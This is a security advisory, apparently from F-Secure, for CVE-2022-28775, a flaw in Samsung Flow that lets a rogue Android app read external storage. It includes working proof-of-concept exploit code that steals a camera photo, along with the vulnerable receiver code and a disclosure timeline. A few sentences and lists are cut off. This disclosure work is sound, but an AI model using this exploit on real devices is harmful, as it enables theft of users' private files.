Samsung Flow - Any App Can Read The External Storage
-
Ken Gannon
- Published: 4 May 2022
- Type: Security Control Bypass
- Severity: Medium
Samsung Flow Prior To Version 4.8.06.5
CVE-2022-28775
F-Secure looked into exploiting the Samsung Galaxy S21 device for Austin Pwn2Own 2021. Samsung Flow, an application offered on the Galaxy Store, had an issue with how it handled broadcasted intents. A rogue application could use this issue to read contents on the device’s external storage without requiring the proper Android permissions.
Samsung has released Samsung Flow version 4.8.06.5 which addresses this issue. Users should update their Samsung Flow application to the latest version available.
As an example, the following exploit code will exfiltrate a picture taken by the device’s camera. This example requires two parts. First, the rogue application must contain an exported activity with the following Java code:
public class IntentProxyToContentProvider extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri uri = Uri.parse(getIntent().getDataString());
try {
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri));
String yayuriyay = MediaStore.Images.Media.insertImage(
getContentResolver(),
bitmap,
"yaytitleyay",
"yaydescriptionyay"
);
InputStream input = getContentResolver().openInputStream(Uri.parse(yayuriyay));
File file = new File(getFilesDir(), "yayoutputyay.jpg");
FileOutputStream output = new FileOutputStream(file);
try {
byte[] buf = new byte[1024];
int len;
while ((len = input.read(buf)) > 0) {
output.write(buf, 0, len);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (input != null) {
input.close();
}
if (output != null) {
output.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
Second, the rogue application must send the following Broadcast, replacing "
Intent intent = new Intent();
intent.setComponent(new ComponentName(
"com.samsung.android.galaxycontinuity",
"com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver"
));
intent.setAction("com.samsung.android.galaxycontinuity.action.ACTION_FLOW_CONTENT_PENDING_INTENT");
Intent intent2 = new Intent();
intent2.setComponent(new ComponentName(
"<rogue application package>",
"<rogue application package>.IntentProxyToContentProvider"
));
intent2.setData(Uri.parse(
"content://com.samsung.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture name>"
));
intent2.setFlags(195);
Bundle bundle = new Bundle();
bundle.putParcelable("_data", intent2);
bundle.putString("ClassName", "com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity");
intent.putExtras(bundle);
sendBroadcast(intent);
The above code will perform the following steps:
After successful exploitation, the targeted picture will be saved to the rogue application’s “Files” private directory. Specifically, it will be saved to /data/data/<rogue application package>/Files/yayoutputyay.jpg
.
The exported Broadcast Receiver “com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver” processes received broadcast intents by checking for:
If the action value matches “com.samsung.android.galaxycontinuity.action.ACTION_FLOW_CONTENT_PENDING_INTENT” and “ClassName” is not null, then a new intent is created and Samsung Flow will start the activity defined in “ClassName”. Any intent extras that is bundled with the broadcast intent is also bundled with the newly created intent:
public void onReceive(Context context, Intent intent) {
Intent intent2;
try {
String action = intent.getAction();
intent.setComponent(null);
if (action.equals("REQUEST_LAUNCH_MY_FILES")) {
FileUtil.openMyFiles(intent.getStringExtra("START_PATH"));
return;
}
if (!"android.intent.action.BOOT_COMPLETED".equals(action)) {
if (!ACTION_LAZY_BOOT_COMPLETE.equals(action)) {
if (Define.ACTION_FLOW_CONTENT_PENDING_INTENT.equals(action)) {
String stringExtra = intent.getStringExtra("ClassName");
if (stringExtra != null) {
if ((stringExtra.equals(NotificationDetailActivity.class.getName()) || stringExtra.equals(ChatActivity.class.getName())) && SettingsManager.getInstance().getNotificationOption()) {
Intent intent3 = new Intent(SamsungFlowApplication.get(), MirroringActivity.class);
intent3.setAction(Define.ACTION_SMARTVIEW_FROM_NOTIFICATION);
intent3.putExtra("FlowKey", intent.getStringExtra("FlowKey"));
intent3.setFlags(268435456);
SamsungFlowApplication.get().startActivity(intent3);
return;
}
Intent intent4 = new Intent(SamsungFlowApplication.get(), Class.forName(stringExtra));
intent4.replaceExtras(intent.getExtras());
intent4.setFlags(268435456);
SamsungFlowApplication.get().startActivity(intent4);
return;
By defining com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity
as the ClassName
, a Create Chooser Intent is created based on the data defined in the passed intent’s parcelable extra _data
. The intent bundled in _data
can contain standard intent objects, intent extras.
This new intent is started via startActivity:
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
startChooser(getIntent());
finish();
}
private void startChooser(Intent intent) {
if (intent != null && intent.getExtras().containsKey("_data")) {
try {
ArrayList<? extends Parcelable> arrayList = new ArrayList<>();
arrayList.add(new ComponentName(SamsungFlowApplication.get().getPackageName(), ShareActivity.class.getName()));
Intent createChooser = Intent.createChooser((Intent) intent.getParcelableExtra("_data"), ResourceUtil.getString(R.string.share));
if (Build.VERSION.SDK_INT >= 24) {
createChooser.putExtra("android.intent.extra.EXCLUDE_COMPONENTS", (Parcelable[]) arrayList.toArray(new Parcelable[0]));
} else {
createChooser.putParcelableArrayListExtra("extra_chooser_droplist", arrayList);
}
if (intent.getBooleanExtra(EXTRA_POP_OVER_SUPPORTED, false)) {
int intExtra = intent.getIntExtra(EXTRA_POP_OVER_POS, -1);
ActivityOptions makeBasic = ActivityOptions.makeBasic();
makeBasic.semSetChooserPopOverPosition(intExtra);
startActivity(createChooser, makeBasic.toBundle());
return;
}
startActivity(createChooser);
} catch (Exception e) {
FlowLog.e(e);
}
}
}
If the Create Chooser Intent passed to startActivity
contains the following flags, then the target started activity will be given access to Samsung Flow’s content providers, including unexported content providers:
As an example, an intent passed to startActivity
could contain a data value of content://com.samsung.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture>
. Then the target activity will be given access to the content provider com.samsung.android.galaxycontinuity.provider
and be able to download the file /external_files/DCIM/Camera/<target picture>
. The following code within the target activity can be used to create a new file via the Android MediaStore content provider, and save the data that was obtained from content://com.samsung.android.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture>
:
Uri uri = Uri.parse(getIntent().getDataString());
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri));
String yayuriyay = MediaStore.Images.Media.insertImage(getContentResolver(), bitmap, "yaytitleyay", "yaydescriptionyay");
Lod.d("yaytagyay", "this content provider contains the saved media: " + yayuriyay);
Date | Action |
---|---|
19 Oct 2021 | Issue disclosed to Samsung Mobile Security |
19 Oct 2021 | Issue assigned to a Samsung Security Analyst |
2 Jan 2022 | Samsung confirms the vulnerability and rates it as a high risk issue |
4 Mar 2022 | Patch released, Samsung initiates process for bug bounty reward |
12 Apr 2022 | CVE Assigned |
4 May 2022 | Advisory Published |